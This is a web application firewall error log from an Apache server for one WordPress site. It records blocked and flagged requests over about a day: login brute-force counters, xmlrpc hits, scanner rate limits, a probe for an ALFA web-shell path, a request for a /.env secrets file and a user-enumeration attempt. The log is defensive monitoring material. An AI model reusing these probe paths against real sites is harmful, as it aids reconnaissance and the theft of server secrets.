[Tue May 19 12:17:19.538344 2026] [:error] [pid 46896:tid 46915] [client 20.226.17.188:29599] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "agvkT6CHyzL3Ci9LGE0tvQAAAZE"]
[Tue May 19 12:17:20.177106 2026] [:error] [pid 46896:tid 46920] [client 20.226.17.188:28191] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "agvkUKCHyzL3Ci9LGE0tvwAAAZY"]
[Tue May 19 12:40:23.919491 2026] [:error] [pid 38699:tid 38746] [client 43.165.198.144:36790] [client 43.165.198.144] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agvpt7--Adsw_P-dthZwywAAAEQ"]
[Tue May 19 12:50:30.130043 2026] [:error] [pid 29823:tid 29860] [client 162.0.217.83:44062] [client 162.0.217.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.217.83, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agvsFmO09C0nAz8vRk4WSgAAAdU"]
[Tue May 19 13:51:26.688044 2026] [:error] [pid 46896:tid 46908] [client 69.57.172.119:33782] [client 69.57.172.119] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.57.172.119, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agv6XqCHyzL3Ci9LGE1BMwAAAYo"]
[Tue May 19 14:59:55.769227 2026] [:error] [pid 46815:tid 46822] [client 202.155.8.152:58123] [client 202.155.8.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/burst-statistics/readme.txt"] [unique_id "agwKayPnRhJOmA06LgpYOQAAAUU"]
[Tue May 19 14:59:57.002876 2026] [:error] [pid 46896:tid 46905] [client 202.155.8.152:58424] [client 202.155.8.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wordpress/wp-content/plugins/burst-statistics/readme.txt"] [unique_id "agwKbaCHyzL3Ci9LGE1N4wAAAYc"]
[Tue May 19 15:00:00.922535 2026] [:error] [pid 38697:tid 38724] [client 202.155.8.152:58585] [client 202.155.8.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp/wp-content/plugins/burst-statistics/readme.txt"] [unique_id "agwKcKXP9pP6Kgt-msQgCwAAAAk"]
[Tue May 19 15:01:38.894708 2026] [:error] [pid 38697:tid 38726] [client 117.247.68.154:54547] [client 117.247.68.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.247.68.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agwK0qXP9pP6Kgt-msQgYQAAAAs"]
[Tue May 19 15:01:49.006504 2026] [:error] [pid 38697:tid 38716] [client 117.247.68.154:55061] [client 117.247.68.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.247.68.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agwK3aXP9pP6Kgt-msQgYwAAAAE"]
[Tue May 19 15:01:59.523505 2026] [:error] [pid 38699:tid 38758] [client 117.247.68.154:55388] [client 117.247.68.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.247.68.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agwK57--Adsw_P-dthZ9kwAAAFA"]
[Tue May 19 15:02:10.092732 2026] [:error] [pid 38697:tid 38728] [client 117.247.68.154:55505] [client 117.247.68.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.247.68.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agwK8qXP9pP6Kgt-msQgfAAAAA0"]
[Tue May 19 15:02:20.652485 2026] [:error] [pid 41573:tid 41580] [client 117.247.68.154:55931] [client 117.247.68.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.247.68.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agwK_C1A2bd6JDSW9RZkHAAAAQU"]
[Tue May 19 16:13:28.762914 2026] [:error] [pid 38814:tid 38821] [client 4.204.199.127:4886] [client 4.204.199.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "agwbqAvkKuBwP0epzWeNnwAAAMU"], referer: www.google.com
[Tue May 19 16:13:38.972110 2026] [:error] [pid 29622:tid 29647] [client 4.204.199.127:4969] [client 4.204.199.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "agwbsjkOqPKWkPs_P15JeAAAAhc"], referer: www.google.com
[Tue May 19 16:19:17.544538 2026] [:error] [pid 38699:tid 38752] [client 43.165.174.53:34366] [client 43.165.174.53] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agwdBb--Adsw_P-dthaFAwAAAEo"]
[Tue May 19 17:08:11.981668 2026] [:error] [pid 38699:tid 38747] [client 103.230.156.120:57624] [client 103.230.156.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.230.156.120, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agwoe7--Adsw_P-dthaO8AAAAEU"]
[Tue May 19 17:38:29.668273 2026] [:error] [pid 38699:tid 38766] [client 103.230.156.120:46624] [client 103.230.156.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.230.156.120, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agwvlb--Adsw_P-dthaRkgAAAFg"]
[Tue May 19 19:36:15.388605 2026] [:error] [pid 41573:tid 41576] [client 89.247.166.91:27542] [client 89.247.166.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.247.166.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agxLLy1A2bd6JDSW9RaHjwAAAQE"]
[Tue May 19 19:37:34.491869 2026] [:error] [pid 41573:tid 41589] [client 89.247.166.91:27881] [client 89.247.166.91] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "agxLfi1A2bd6JDSW9RaH9wAAAQ4"]
[Tue May 19 19:37:49.396012 2026] [:error] [pid 29823:tid 29841] [client 89.247.166.91:27901] [client 89.247.166.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.247.166.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agxLjWO09C0nAz8vRk48QgAAAcY"]
[Tue May 19 19:40:54.464124 2026] [:error] [pid 38699:tid 38756] [client 146.56.199.139:45748] [client 146.56.199.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agxMRr--Adsw_P-dthaduwAAAE4"]
[Tue May 19 19:58:02.747903 2026] [:error] [pid 38814:tid 38822] [client 43.128.69.143:50462] [client 43.128.69.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agxQSgvkKuBwP0epzWedTgAAAMY"]
[Tue May 19 20:18:00.687637 2026] [:error] [pid 38814:tid 38830] [client 43.155.27.244:46454] [client 43.155.27.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agxU-AvkKuBwP0epzWeeBAAAAM4"]
[Tue May 19 22:44:48.015831 2026] [:error] [pid 41573:tid 41591] [client 103.174.153.125:38830] [client 103.174.153.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.174.153.125, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agx3YC1A2bd6JDSW9RaqPQAAARA"]
[Tue May 19 22:44:49.144108 2026] [:error] [pid 41573:tid 41582] [client 103.174.153.125:38830] [client 103.174.153.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.174.153.125, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agx3YS1A2bd6JDSW9RaqQQAAAQc"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 23:26:29.892339 2026] [:error] [pid 55881:tid 55889] [client 131.72.236.221:47582] [client 131.72.236.221] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 131.72.236.221, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agyBJe-UExma0LUC7WARtAAAAkY"]
[Tue May 19 23:26:34.670594 2026] [:error] [pid 55881:tid 55901] [client 131.72.236.221:47582] [client 131.72.236.221] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 131.72.236.221, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agyBKu-UExma0LUC7WARtQAAAlI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 23:27:38.840745 2026] [:error] [pid 38814:tid 38832] [client 43.135.133.194:50726] [client 43.135.133.194] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agyBagvkKuBwP0epzWeoyAAAANA"]
[Tue May 19 23:53:44.256948 2026] [:error] [pid 41573:tid 41590] [client 124.156.179.141:50480] [client 124.156.179.141] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agyHiC1A2bd6JDSW9Ra2UgAAAQ8"]
[Wed May 20 01:47:21.847638 2026] [:error] [pid 38697:tid 38723] [client 57.129.140.39:39388] [client 57.129.140.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 57.129.140.39, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agyiKaXP9pP6Kgt-msRwhAAAAAg"]
[Wed May 20 02:08:24.806481 2026] [:error] [pid 29823:tid 29848] [client 198.177.120.174:56460] [client 198.177.120.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.177.120.174, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agynGGO09C0nAz8vRk522QAAAck"]
[Wed May 20 03:20:25.410770 2026] [:error] [pid 41573:tid 41580] [client 82.156.116.86:40416] [client 82.156.116.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agy3-S1A2bd6JDSW9Rbh8QAAAQU"]
[Wed May 20 03:22:17.655911 2026] [:error] [pid 46815:tid 46819] [client 34.187.227.17:3072] [client 34.187.227.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.187.227.17, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agy4aSPnRhJOmA06LgqV-wAAAUI"]
[Wed May 20 03:22:19.034851 2026] [:error] [pid 46815:tid 46823] [client 34.187.227.17:3072] [client 34.187.227.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.187.227.17, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agy4ayPnRhJOmA06LgqV_gAAAUY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed May 20 03:29:50.786267 2026] [:error] [pid 54933:tid 54956] [client 43.165.198.144:57930] [client 43.165.198.144] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agy6LqMby05v2aQy91Cr9QAAAQM"]
[Wed May 20 03:44:00.914568 2026] [:error] [pid 27707:tid 27767] [client 79.131.103.152:52202] [client 79.131.103.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 79.131.103.152, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agy9gGyzdbGE0LveTTdqEQAAAFY"]
[Wed May 20 03:44:03.298947 2026] [:error] [pid 27707:tid 27761] [client 79.131.103.152:52202] [client 79.131.103.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 79.131.103.152, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agy9g2yzdbGE0LveTTdqFgAAAFA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed May 20 03:59:21.933215 2026] [:error] [pid 59244:tid 59258] [client 43.134.71.232:34370] [client 43.134.71.232] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agzBGbxU0SdQQE7pLs2nmwAAAAU"]
[Wed May 20 04:48:43.954779 2026] [:error] [pid 36145:tid 36150] [client 194.62.107.63:38767] [client 194.62.107.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "agzMq6tS18KtvF2Vagsv-wAAAQI"]
[Wed May 20 04:49:05.788402 2026] [:error] [pid 36145:tid 36150] [client 194.156.65.222:55054] [client 194.156.65.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.156.65.222, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agzMwatS18KtvF2VagswGAAAAQI"]
[Wed May 20 04:49:07.466543 2026] [:error] [pid 36145:tid 36171] [client 194.156.65.222:55054] [client 194.156.65.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.156.65.222, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agzMw6tS18KtvF2VagswHQAAARc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed May 20 05:10:12.263307 2026] [:error] [pid 59349:tid 59372] [client 77.81.247.13:43498] [client 77.81.247.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.81.247.13, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agzRtDvvxTUy-ppKSZWE4QAAANU"]
[Wed May 20 05:10:13.561869 2026] [:error] [pid 59349:tid 59359] [client 77.81.247.13:43498] [client 77.81.247.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.81.247.13, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agzRtTvvxTUy-ppKSZWE5AAAAMg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed May 20 05:51:58.471817 2026] [:error] [pid 57835:tid 57935] [client 89.234.67.101:57202] [client 89.234.67.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.234.67.101, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agzbfmYoVRVVHvoOYbpA3QAAAtE"]
[Wed May 20 05:52:00.008912 2026] [:error] [pid 57835:tid 57937] [client 89.234.67.101:57202] [client 89.234.67.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.234.67.101, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agzbgGYoVRVVHvoOYbpA3gAAAtM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed May 20 06:31:26.971096 2026] [:error] [pid 57832:tid 57849] [client 34.101.254.68:48172] [client 34.101.254.68] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.101.254.68, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agzkvkNip5HpFD8GxxX7gQAAAgw"]
[Wed May 20 06:31:28.032883 2026] [:error] [pid 57832:tid 57854] [client 34.101.254.68:48172] [client 34.101.254.68] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.101.254.68, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agzkwENip5HpFD8GxxX7ggAAAhE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed May 20 07:13:40.590381 2026] [:error] [pid 59349:tid 59353] [client 165.140.159.164:58206] [client 165.140.159.164] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.140.159.164, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agzupDvvxTUy-ppKSZWi3AAAAMI"]
[Wed May 20 07:13:42.517048 2026] [:error] [pid 59349:tid 59356] [client 165.140.159.164:58206] [client 165.140.159.164] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.140.159.164, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agzupjvvxTUy-ppKSZWi3wAAAMU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed May 20 07:30:29.831675 2026] [:error] [pid 57834:tid 57906] [client 209.74.74.2:39776] [client 209.74.74.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.74.74.2, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agzylXTOfwZ09EhqoYAFJwAAAo8"]
[Wed May 20 07:37:34.670296 2026] [:error] [pid 59244:tid 59272] [client 43.159.138.217:45454] [client 43.159.138.217] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agz0PrxU0SdQQE7pLs3JcgAAABM"]
